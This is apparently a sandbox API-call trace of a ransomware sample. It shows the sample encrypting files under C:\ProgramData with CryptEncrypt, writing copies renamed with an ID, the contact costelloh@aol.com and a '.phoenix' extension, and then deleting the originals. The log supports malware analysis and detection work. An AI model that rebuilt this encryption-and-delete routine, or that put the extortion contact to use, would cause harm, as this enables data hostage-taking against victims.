	[0229.239] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.240] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0229.240] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0229.240] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00002.jrs.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0229.240] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0229.240] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0229.240] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x110100, lpOverlapped=0x0) returned 1
	[0229.271] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x110100, dwBufLen=0x110100 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x110100) returned 1
	[0229.272] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x110100, lpOverlapped=0x0) returned 1
	[0229.627] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ff00, lpOverlapped=0x0) returned 1
	[0229.627] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2ff10, dwBufLen=0x2ff10 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2ff10) returned 1
	[0229.627] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2ff10, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2ff10, lpOverlapped=0x0) returned 1
	[0229.631] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151280) returned 1
	[0229.631] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0229.631] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0229.631] CryptDestroyKey (hKey=0x151280) returned 1
	[0229.631] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0229.631] CryptDestroyKey (hKey=0x151440) returned 1
	[0229.631] CloseHandle (hObject=0x2e8) returned 1
	[0229.631] CloseHandle (hObject=0x2c8) returned 1
	[0229.730] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbres00002.jrs")) returned 1
	[0229.733] SetEvent (hEvent=0x278) returned 1
	[0229.733] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0229.733] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0229.734] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=3293) returned 1
	[0229.734] CloseHandle (hObject=0x2c8) returned 1
	[0229.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0229.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.734] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0229.734] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0229.734] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0229.734] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0229.735] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0229.735] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0229.735] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0xcdd, lpOverlapped=0x0) returned 1
	[0229.770] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xce0, dwBufLen=0xce0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xce0) returned 1
	[0229.770] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xce0, lpOverlapped=0x0) returned 1
	[0229.771] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0229.771] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0229.771] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0229.771] CryptDestroyKey (hKey=0x151100) returned 1
	[0229.771] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0229.771] CryptDestroyKey (hKey=0x151040) returned 1
	[0229.771] CloseHandle (hObject=0x2c8) returned 1
	[0229.772] CloseHandle (hObject=0x2c4) returned 1
	[0229.772] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\0__power_policy.provxml")) returned 1
	[0229.773] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0229.773] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0229.773] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=864) returned 1
	[0229.773] CloseHandle (hObject=0x2c4) returned 1
	[0229.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0229.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.773] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0229.773] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0229.773] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0229.773] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0229.774] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0229.774] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0229.774] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x360, lpOverlapped=0x0) returned 1
	[0229.826] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x370, dwBufLen=0x370 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x370) returned 1
	[0229.826] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x370, lpOverlapped=0x0) returned 1
	[0229.827] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0229.827] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0229.827] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0229.827] CryptDestroyKey (hKey=0x151200) returned 1
	[0229.827] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0229.827] CryptDestroyKey (hKey=0x151100) returned 1
	[0229.827] CloseHandle (hObject=0x2c4) returned 1
	[0229.827] CloseHandle (hObject=0x2c8) returned 1
	[0229.827] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\0__power_policy.provxml")) returned 1
	[0229.828] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0229.828] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.452] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2309) returned 1
	[0230.452] CloseHandle (hObject=0x2f4) returned 1
	[0230.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml")) returned 0x20
	[0230.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.453] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.453] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0230.453] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0230.453] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0230.453] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0230.453] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0230.453] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x905, lpOverlapped=0x0) returned 1
	[0230.700] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x910, dwBufLen=0x910 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x910) returned 1
	[0230.700] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x910, lpOverlapped=0x0) returned 1
	[0230.912] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0230.912] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0230.912] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0230.912] CryptDestroyKey (hKey=0x151200) returned 1
	[0230.912] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0230.912] CryptDestroyKey (hKey=0x151640) returned 1
	[0230.912] CloseHandle (hObject=0x2f4) returned 1
	[0230.912] CloseHandle (hObject=0x2e4) returned 1
	[0230.913] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\1__power_policy.provxml")) returned 1
	[0230.918] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0230.918] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0230.919] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1814) returned 1
	[0230.919] CloseHandle (hObject=0x2c0) returned 1
	[0230.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml")) returned 0x20
	[0230.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.919] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0230.919] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0230.919] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0230.920] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.994] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1511c0) returned 1
	[0230.994] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0230.994] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x716, lpOverlapped=0x0) returned 1
	[0231.030] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x720, dwBufLen=0x720 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x720) returned 1
	[0231.030] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x720, lpOverlapped=0x0) returned 1
	[0231.031] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0231.031] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.031] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0231.031] CryptDestroyKey (hKey=0x151500) returned 1
	[0231.031] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0231.031] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0231.031] CloseHandle (hObject=0x2c0) returned 1
	[0231.032] CloseHandle (hObject=0x2f0) returned 1
	[0231.032] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml")) returned 1
	[0231.033] SetEvent (hEvent=0x278) returned 1
	[0231.033] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
